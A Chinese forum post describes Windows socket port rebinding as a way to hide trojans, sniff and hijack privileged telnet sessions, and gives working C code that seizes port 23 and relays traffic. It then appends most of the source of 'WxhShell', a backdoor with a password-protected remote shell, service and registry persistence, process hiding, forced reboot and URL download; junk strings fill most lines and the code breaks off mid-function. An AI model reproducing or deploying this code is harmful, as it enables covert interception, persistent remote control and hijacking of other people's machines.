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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .kWMr^ g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &oJ=   
AF5.)Y@.  
  saddr.sin_family = AF_INET; mY9^W2:  
`I+G7K K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3=w$1.B d  
vZj:\geV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'PW~4f/m  
(S/f!Dk&3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h$[}lZDg  
NoS|lT  
  这意味着什么?意味着可以进行如下的攻击: SP][xdN7  
K3jKOV8   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ] h3~>8<  
Zcq'u jU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7PG&G5  
J7:VRf|,?(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l}-JtZ?[?  
p/jC}[$v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !yAlb#yu  
0ut/ ')[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;Awt:jF  
5B3S]@%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3 @XkO  
! 6yo D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cVjs-Xf7D%  
O>]I!n`!!A  
  #include *?'nA{a)E  
  #include A&%vog]O  
  #include dh r)ra]  
  #include    < GoUth.#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5Vo8z8]t`  
  int main() 8,\toT7  
  { hM~9p{O  
  WORD wVersionRequested; 2pR+2p`  
  DWORD ret; `I|$U)'  
  WSADATA wsaData; eSvS<\p  
  BOOL val; b77Iw%x7  
  SOCKADDR_IN saddr; &NbhQY`k  
  SOCKADDR_IN scaddr; GSzb  
  int err; 7: 7i}`O  
  SOCKET s; bup)cX^  
  SOCKET sc; Db"jzMW.  
  int caddsize; rro92(y  
  HANDLE mt; o^P/ -&T  
  DWORD tid;   ZmSe>}B=  
  wVersionRequested = MAKEWORD( 2, 2 ); G9'Wo.$ t  
  err = WSAStartup( wVersionRequested, &wsaData ); ;T1OXuQ  
  if ( err != 0 ) { $#R@x.=  
  printf("error!WSAStartup failed!\n"); Pn:L=*  
  return -1; 3^m0 k E  
  } wlc Cz  
  saddr.sin_family = AF_INET; gA 0:qEL\  
   w|$i<OIi)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i("ok  
f' |JLhs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TEQs\d  
  saddr.sin_port = htons(23); lYz{# UX}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m2wGg/F5  
  { {%g]Ym=  
  printf("error!socket failed!\n"); l /?Jp+]  
  return -1; %JUD54bBt  
  } 5>z`==N)  
  val = TRUE; 8nzDLFxp_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9 <qAf`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X@l>mAk  
  { )b^yAzL?  
  printf("error!setsockopt failed!\n"); 1F`1(MYt9  
  return -1; {4B{~Qe;  
  } CUIFKM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +<#0V!DM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Zy !^HS$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (jj=CLe  
sfb)iH|sW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u-v/`F2wN  
  { L1P.@hJ  
  ret=GetLastError(); n*twuB/P 1  
  printf("error!bind failed!\n"); )1#J4  
  return -1; XMt)\r.  
  } 5d ?\>dA  
  listen(s,2); ?K5S{qG'O  
  while(1) 44e:K5;]7  
  { sa8Q1i&%  
  caddsize = sizeof(scaddr); .%~m|t+Rt  
  //接受连接请求 [PXv8K%]p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ife/:v  
  if(sc!=INVALID_SOCKET) pBo=omQV  
  { v#/k`x\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .W;,~.l  
  if(mt==NULL) *@;Pns]L-  
  { c, IAz  
  printf("Thread Creat Failed!\n"); @\ udaZc  
  break; _JEe]  
  } -@=As00Bg  
  } ~m`j=ot  
  CloseHandle(mt); 4MM /i}  
  } =r1-M.*a.M  
  closesocket(s); L_@P fI  
  WSACleanup(); X ? eCK,  
  return 0; |aD8  
  }   a] =k-Xh  
  DWORD WINAPI ClientThread(LPVOID lpParam) %%uvia=e  
  { Veeuw  
  SOCKET ss = (SOCKET)lpParam; ,> %=,x  
  SOCKET sc; VD.wO%9?)  
  unsigned char buf[4096]; ?$v*_*:2h  
  SOCKADDR_IN saddr; E@.daUoB  
  long num; 9E`Laf  
  DWORD val; O0`o0 !=P  
  DWORD ret; Sbzx7 *X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N [qNSo|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zE,1zBS<  
  saddr.sin_family = AF_INET;  }BFX7X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7+'&(^c  
  saddr.sin_port = htons(23); zCz"[9k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HpCTQ\H  
  { W!Qaa(o?  
  printf("error!socket failed!\n"); :OEovk(`  
  return -1; Vi 9Kah+  
  } l&JV.}qGB8  
  val = 100; 3ncL351k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \+iZdZD  
  { rS|nO_9f  
  ret = GetLastError(); Iu V7~w  
  return -1; NCX`-SLv  
  } Zb&5)&'X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;Q.'u  
  { >;s!X(6 b  
  ret = GetLastError(); &x"hM  
  return -1; 6<t<hP_3O  
  } xI>HY9i )  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <>shx;g^C  
  { Pt=@U:  
  printf("error!socket connect failed!\n"); /mK."5-cm  
  closesocket(sc); .ri?p:a}w  
  closesocket(ss); o;[cApiQ,2  
  return -1; qu`F,OG  
  } r]3v.GZy  
  while(1) ]H-5    
  { (F+]h]KSi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zE8qU;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s=8$h:^9>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {3@"}Eh  
  num = recv(ss,buf,4096,0); KFhnv`a.0  
  if(num>0) j=kz^o~mH  
  send(sc,buf,num,0); ZCAg)/  
  else if(num==0) ./qbWr`L  
  break; 7X{@$>+S  
  num = recv(sc,buf,4096,0); WupONrH1e  
  if(num>0) $ ?*XPzZ  
  send(ss,buf,num,0); Q$^)z_jai  
  else if(num==0) 49!(Sa_]j  
  break;  i|!D  
  } ?{]"UnyVE*  
  closesocket(ss); Yc`PK =!l  
  closesocket(sc); $aC%&&+wG  
  return 0 ; {36QZV*P  
  } VJbn/5+P  
O5v~wLx9e  
1$n!Lj=5  
========================================================== M2Zk1Z  
c~)H" n  
下边附上一个代码,,WXhSHELL 3gQ2wP*K  
:G4)edwe  
========================================================== "ivSpec.V  
]N^>>k  
#include "stdafx.h" 0f;`Zj0l8  
1 ~s$<  
#include <stdio.h> =`+c}i?  
#include <string.h> [A'9sxG  
#include <windows.h> ijeas<  
#include <winsock2.h> $wm8N.I3I  
#include <winsvc.h> '>Uip+'  
#include <urlmon.h> Hdda/?{b  
@$7l  
#pragma comment (lib, "Ws2_32.lib") F7&Oc)f"B  
#pragma comment (lib, "urlmon.lib") 7<zI'^l  
zwgO|Qg;  
#define MAX_USER   100 // 最大客户端连接数 - (VX+XHW  
#define BUF_SOCK   200 // sock buffer z)fg>?AGr  
#define KEY_BUFF   255 // 输入 buffer [&5%$ T  
{(5M)|>  
#define REBOOT     0   // 重启 RD6`b_]o  
#define SHUTDOWN   1   // 关机 83pXj=k<  
|IZFWZd  
#define DEF_PORT   5000 // 监听端口 um=qT)/D  
4<A+Tf  
#define REG_LEN     16   // 注册表键长度 K!O7q~s[D  
#define SVC_LEN     80   // NT服务名长度 -&0HAtc  
js[H $  
// 从dll定义API tD+K4 ^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =SK{|fBB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *kq>Z 06'i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &\5%C\0Z<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A)HV#T`N  
;@/vKA3l.  
// wxhshell配置信息 qlg?'l$03)  
struct WSCFG { _xdFQ  
  int ws_port;         // 监听端口 qwvch^?>FQ  
  char ws_passstr[REG_LEN]; // 口令 u;/<uV3  
  int ws_autoins;       // 安装标记, 1=yes 0=no KY9&Ky+2B  
  char ws_regname[REG_LEN]; // 注册表键名 s-e<&*D[  
  char ws_svcname[REG_LEN]; // 服务名 osPrr QoH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wh#x`Nc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7b hJt_`Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^2eH0O!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qVr?st  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KF f6um  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3.V-r59  
QvDD   
}; Y/`*t(/5  
B'-L-]\H  
// default Wxhshell configuration b\^9::oY  
struct WSCFG wscfg={DEF_PORT, 2@?\"kR"!  
    "xuhuanlingzhe", m:C|R-IL  
    1, vx4Jk]h+=L  
    "Wxhshell", :M\3.7q  
    "Wxhshell", I7HP~v~  
            "WxhShell Service", :eL ja*  
    "Wrsky Windows CmdShell Service", +*Pj,+;W  
    "Please Input Your Password: ", ?T7ndXX  
  1, &)F# cVB  
  "http://www.wrsky.com/wxhshell.exe", i4\m/&of3y  
  "Wxhshell.exe" [8rl{~9E  
    }; X.)D"+xnH  
tRmH6  
// 消息定义模块 ^<v]x; 3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S1E=EVG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V"W)u#4,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *S\/l-D  
char *msg_ws_ext="\n\rExit."; :'K%&e?7s  
char *msg_ws_end="\n\rQuit."; $#HUxwx4  
char *msg_ws_boot="\n\rReboot..."; B$&&'i%  
char *msg_ws_poff="\n\rShutdown..."; Z)dE#A_X  
char *msg_ws_down="\n\rSave to "; hgI;^ia  
!/6KQdF  
char *msg_ws_err="\n\rErr!"; '/ GZ,~q  
char *msg_ws_ok="\n\rOK!"; O`2hTY\  
#_4JTGJ  
char ExeFile[MAX_PATH]; 2R`/Oox   
int nUser = 0; @ >Ul0&Mf?  
HANDLE handles[MAX_USER]; Z >F5rkJ  
int OsIsNt; IWP[?U=  
=J827c{.  
SERVICE_STATUS       serviceStatus; D",~?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &46 Ro|XE`  
PtT$#>hx]  
// 函数声明 ZE"Z_E;r  
int Install(void); XE.Y?{,R$  
int Uninstall(void); Q??nw^8Hi  
int DownloadFile(char *sURL, SOCKET wsh); \ 0aa0=  
int Boot(int flag); "|%'/p  
void HideProc(void); `'}c- Q  
int GetOsVer(void); +,A7XBn  
int Wxhshell(SOCKET wsl); )@\m0bnF  
void TalkWithClient(void *cs); Bw8&Amxx:  
int CmdShell(SOCKET sock); '(&,i/O  
int StartFromService(void); 2:Rxyg@'  
int StartWxhshell(LPSTR lpCmdLine); >TQnCG =  
h;Se.{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  4xnM7t\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K!onV3mR  
Hpq?I-g<^  
// 数据结构和表定义 }5a$Ka-  
SERVICE_TABLE_ENTRY DispatchTable[] = [SA$d`B/  
{ >2@ a\  
{wscfg.ws_svcname, NTServiceMain}, iJem9XXb  
{NULL, NULL} =EdLffU[J  
};  p@bcf5'  
H_+F~P5RC  
// 自我安装 Mg}8 3kS  
int Install(void) n;,>Fv  
{ {5N!udLDr5  
  char svExeFile[MAX_PATH]; SM@RELA'Lb  
  HKEY key; L !V6 Rfy  
  strcpy(svExeFile,ExeFile); `1qM Sq  
-|&5aH]  
// 如果是win9x系统,修改注册表设为自启动 M~#% [?iU  
if(!OsIsNt) { 7n*[r*$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { of>"qrdZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RmcQGQ  
  RegCloseKey(key); K^fH:pV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -+w^"RBV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^lCQHz  
  RegCloseKey(key); F^)SQ%xx  
  return 0; )OgQ&,#  
    } D?< R5zp  
  } c DO<z  
} dLIZ)16&  
else { c<n <!!vi  
-L)b;0%  
// 如果是NT以上系统,安装为系统服务 0'O*Y ]h+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .P>-Fh,_p  
if (schSCManager!=0) K%/:V  
{ Z$&i"1{  
  SC_HANDLE schService = CreateService dJYQdo^X  
  ( Bm&%N?9  
  schSCManager, \"^.>+  
  wscfg.ws_svcname, .ECT  
  wscfg.ws_svcdisp, ?Pw(  
  SERVICE_ALL_ACCESS, f}U@e0Lsb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P-~kxb9aa  
  SERVICE_AUTO_START, Lm}J& ^>  
  SERVICE_ERROR_NORMAL, WPzq?yK  
  svExeFile, 8>y!=+9_  
  NULL, ?E88y  
  NULL, _6 ,Tb]  
  NULL, gNoQ[xFx32  
  NULL, F"*.Qq  
  NULL dDoKmuY>5  
  ); #Z.2g].  
  if (schService!=0) !p#+I=  
  { qe\JO'g#e  
  CloseServiceHandle(schService); {f kP|d  
  CloseServiceHandle(schSCManager); @p}"B9h*^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (iw)C)t*u  
  strcat(svExeFile,wscfg.ws_svcname); 6xsB#v*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J&bhR9sF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rBY{&JhS  
  RegCloseKey(key); |KQkmc  
  return 0; j(SBpM  
    } uqMe %  
  } 5Sm)+FC :  
  CloseServiceHandle(schSCManager); zjVQ\L  
} /K2=GLl;  
} !<P|:Oo*Dl  
E6FT*}Q  
return 1; mtQlm5l  
} %oY=.Ok ]  
k_}aiHdG  
// 自我卸载 Im*~6[  
int Uninstall(void) Zg#VZg1 2  
{ 3.^Tm+ C  
  HKEY key; ' 3MCb  
B}YpIb]d  
if(!OsIsNt) { hn@T ]k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @&G< Np`  
  RegDeleteValue(key,wscfg.ws_regname); ZC\&n4~7  
  RegCloseKey(key); [c=T)]E1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n6f  
  RegDeleteValue(key,wscfg.ws_regname); 5sc`L  
  RegCloseKey(key); R^*h|7)E  
  return 0; !u;r<:g!  
  } zu@5,AH  
} t@(`24  
} `0qBuE_^h  
else { P b(XR+  
UD@u hL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c+^#(OB  
if (schSCManager!=0) _CDl9pP36#  
{ @Pt,N qj:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =oPc\VYW  
  if (schService!=0) bim 82<F  
  { jbU=D:|  
  if(DeleteService(schService)!=0) { dmkd.aP4  
  CloseServiceHandle(schService); &S8Pnb)d  
  CloseServiceHandle(schSCManager); zAxscD f'  
  return 0; X/D^?BKC  
  } j.FW*iX1C  
  CloseServiceHandle(schService); ?t JyQT  
  } 2W_p)8t> b  
  CloseServiceHandle(schSCManager); DG!H8^  
} [z^db0PU  
} 1JIo,7  
Z.]=u(=a  
return 1; _FJ,, /~  
} Zss `##  
Q0\tK=Z/  
// 从指定url下载文件 .1&~@e%=-  
int DownloadFile(char *sURL, SOCKET wsh) }zkMo ?  
{ *yx&4)Or  
  HRESULT hr; HZH zjrx  
char seps[]= "/"; n4YedjHSN  
char *token; y[W<vb+F  
char *file; E_[)z%&n2  
char myURL[MAX_PATH]; *61+Fzr  
char myFILE[MAX_PATH]; q*^F"D:?k  
4%3R}-'mh  
strcpy(myURL,sURL); S-8wL%r  
  token=strtok(myURL,seps); 2K Um(B.I  
  while(token!=NULL) @DYxDap{  
  { EPZ^I)  
    file=token; FccT@ ,.F  
  token=strtok(NULL,seps); .[ E"Kb}=  
  } &s|a\!>l  
|"Rl_+d7D  
GetCurrentDirectory(MAX_PATH,myFILE); b"t<B2N  
strcat(myFILE, "\\"); H)Zb_>iV  
strcat(myFILE, file);  n]N+  
  send(wsh,myFILE,strlen(myFILE),0); ;0R>Dg  
send(wsh,"...",3,0); nS53mLU)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *,UD&N_)*6  
  if(hr==S_OK) i"h '^6M1  
return 0; <#hltPyh  
else ;-OnCLr  
return 1; hSO(s  
0 tZ>yR  
} \GR M,c  
a*pwVn  
// 系统电源模块 g@va@*|~d  
int Boot(int flag) Jf/X3\0N7  
{ qOusO6  
  HANDLE hToken; /lC&'hT  
  TOKEN_PRIVILEGES tkp; Zw)*+> +FV  
QEavbh^S  
  if(OsIsNt) { @-~ )M_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q UQ"2oC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (\Iz(N["G  
    tkp.PrivilegeCount = 1; nY#V~^|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wO&edZ]zb^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); me#?1r  
if(flag==REBOOT) { }|k_sx:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VPKoBJ&  
  return 0; Nvlfi8.  
} $ylQ \Y'  
else { \G3 P[E[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j &#A 9!  
  return 0; C^o9::ER  
} ;Jn"^zT  
  } 6(Qr!<  
  else { a^ vXwY  
if(flag==REBOOT) { # !m`A+!~!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =*icCng  
  return 0; Y=%SK8]Q;  
} rcC}4mNe  
else { nTJ-1A7EP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n9;z=   
  return 0; LEq"g7YH  
} W-QBC- 3  
} nPW?DbH +  
eYER "E  
return 1; 'E4`qq  
} !Od?69W, $  
Qg7rkRia  
// win9x进程隐藏模块 a w0;  
void HideProc(void) & *^FBJEa.  
{ ]vyu!  
"5KJ /7q!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NV|[.g=lg  
  if ( hKernel != NULL ) uB(16|W>S  
  { BEQ$p) h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WcCJ;z:S?k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fkprTk^#  
    FreeLibrary(hKernel); p)t1] <,Of  
  } _h% :Tu  
$=x1_  
return; *4i)aj  
} 4Y):d!'b  
vhw"Nl  
// 获取操作系统版本 Z~g I)  
int GetOsVer(void) o -< 5<  
{ 02Ftn&bi  
  OSVERSIONINFO winfo; m=^`u:=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j>2Jw'l;?  
  GetVersionEx(&winfo); jWn!96NhlL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mp*S+Plp  
  return 1; Wc}opp  
  else DFgr,~  
  return 0; uHBEpqC%  
} ZP@or2No%  
+d[A'&"  
// 客户端句柄模块 Qz T>h  
int Wxhshell(SOCKET wsl) $Hx00 ho  
{ *%G$[=  
  SOCKET wsh; U~~Y'R\ NU  
  struct sockaddr_in client; )KZ1Z$<  
  DWORD myID; i6"/GSA  
IETdL{`~  
  while(nUser<MAX_USER) o/EN3J  
{ GM.2bA(y  
  int nSize=sizeof(client); /`M> 3q[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hEO#uAR^Z  
  if(wsh==INVALID_SOCKET) return 1; T ;Ga G  
63s<U/N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Gv*iWg  
if(handles[nUser]==0) f8ap+][  
  closesocket(wsh); i[:S *`@S  
else 2v!ucd}  
  nUser++; *WSH-*0  
  } 3Y\7+975m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q|E0Y   
s m42  
  return 0; #q;hX;Va  
} wzw`9^B  
{K{&__Nk  
// 关闭 socket +%Vbz7+!  
void CloseIt(SOCKET wsh) ;z6Gk&?  
{ JvA6kw,  
closesocket(wsh); omxBd#;F$  
nUser--; T&?0hSYt  
ExitThread(0); #n=b*.  
} NDG3mCl  
~~U2Sr  
// 客户端请求句柄 T5mdC  
void TalkWithClient(void *cs) .YvE  
{ -qki^!Y?  
Km~\^(a '  
  SOCKET wsh=(SOCKET)cs; aZ$$a+  
  char pwd[SVC_LEN]; 2b+0}u>a  
  char cmd[KEY_BUFF]; /?POIn+0o  
char chr[1]; "W_C%elg  
int i,j; dcFqK~  
V}1D1.@  
  while (nUser < MAX_USER) { =F!DwaZ  
u3!aKXnv<  
if(wscfg.ws_passstr) { ^y.e Fz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &&iZ?JteZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8\Y/?$on  
  //ZeroMemory(pwd,KEY_BUFF); xy@1E;  
      i=0; n@LR?  
  while(i<SVC_LEN) { Vb|;@*=R&Q  
~Rzn =>a  
  // 设置超时 *>Z|!{bI  
  fd_set FdRead; :n3)vK   
  struct timeval TimeOut; m){.{Vn]  
  FD_ZERO(&FdRead); \bt+46y@]  
  FD_SET(wsh,&FdRead); KRS_6G],{  
  TimeOut.tv_sec=8; `={s*^Ta  
  TimeOut.tv_usec=0; zNE"5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;().  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f%LzWXA  
> ,L'A;c}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oeo:V"  
  pwd=chr[0]; H].G%,2'  
  if(chr[0]==0xd || chr[0]==0xa) { UcCkn7}  
  pwd=0; Zk+J=Cwq}  
  break; T-Od|T@[  
  } lYlU8l5>  
  i++; stnyJ9  
    } lO/<xSjNd  
By=/DVm)=  
  // 如果是非法用户,关闭 socket ?^z!yD\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o E+s8Q  
} 2 }QD>  
0y$aGAUm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b\zRwp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >uN`q1?l'  
 \Vis  
while(1) { &"dT/5}6  
KKm0@Y   
  ZeroMemory(cmd,KEY_BUFF); CroI,=a&,  
gf]biE"k  
      // 自动支持客户端 telnet标准   ({3hX"C@Q  
  j=0; VjU;[  
  while(j<KEY_BUFF) { =RR225  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1y5]+GU'`  
  cmd[j]=chr[0]; iSTr;>A  
  if(chr[0]==0xa || chr[0]==0xd) { QK0  
  cmd[j]=0; &tFVW[(  
  break; sQ65QJtt0A  
  } { 7y.0_Y  
  j++; P5;LM9W  
    } W11Wv&  
sIuk  
  // 下载文件 ;!4Bw"Gg  
  if(strstr(cmd,"http://")) { p*10u@,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qC9$xIWq  
  if(DownloadFile(cmd,wsh)) 6KiI3%y?0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xtqjx@ye  
  else T ,, Ao36  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DPvM|n`TW  
  } Bcx-t)[  
  else { !UE' AB  
D_GIj$%N[  
    switch(cmd[0]) { yD iL  
  q<>  
  // 帮助 W G2 E3y  
  case '?': { JZp*"UzQr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SWr?>dl  
    break; DpIv <m]  
  } OL]^4m  
  // 安装 \F%5TRoC  
  case 'i': { ;dl>  
    if(Install()) r}OK3J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [h8j0Q@Q  
    else 8tWOVLquJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yp=Hxf  
    break; (: IUg   
    } D%v4B`4ua'  
  // 卸载 !dB {E  
  case 'r': { :8}QKp  
    if(Uninstall()) *D ld?Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f[3DKA  
    else <8 MKjf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `r+"2.z*  
    break; 27*u^N*z@  
    } jw$3cwddH  
  // 显示 wxhshell 所在路径 4C^;lK  
  case 'p': { ._m+@Uy]H}  
    char svExeFile[MAX_PATH]; O=}4?Xv  
    strcpy(svExeFile,"\n\r"); '~i} 2e.  
      strcat(svExeFile,ExeFile); wZVY h  
        send(wsh,svExeFile,strlen(svExeFile),0); P0J3ci}^  
    break; BP2-LG&\  
    } <va3Ly)c&  
  // 重启 I0 a,mO;m  
  case 'b': { v8"plx=3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8YC\Bw  
    if(Boot(REBOOT)) >ir'v5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M:|Z3p K  
    else { H8~<;6W  
    closesocket(wsh); J#B% #X  
    ExitThread(0); {S(d5o8  
    } E4RvVfA0F  
    break; c 6sGjZdR  
    } zyTP|SXk  
  // 关机 >*H>'O4  
  case 'd': { 4g]Er<-P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |ofegO}W7  
    if(Boot(SHUTDOWN)) *,hS-  
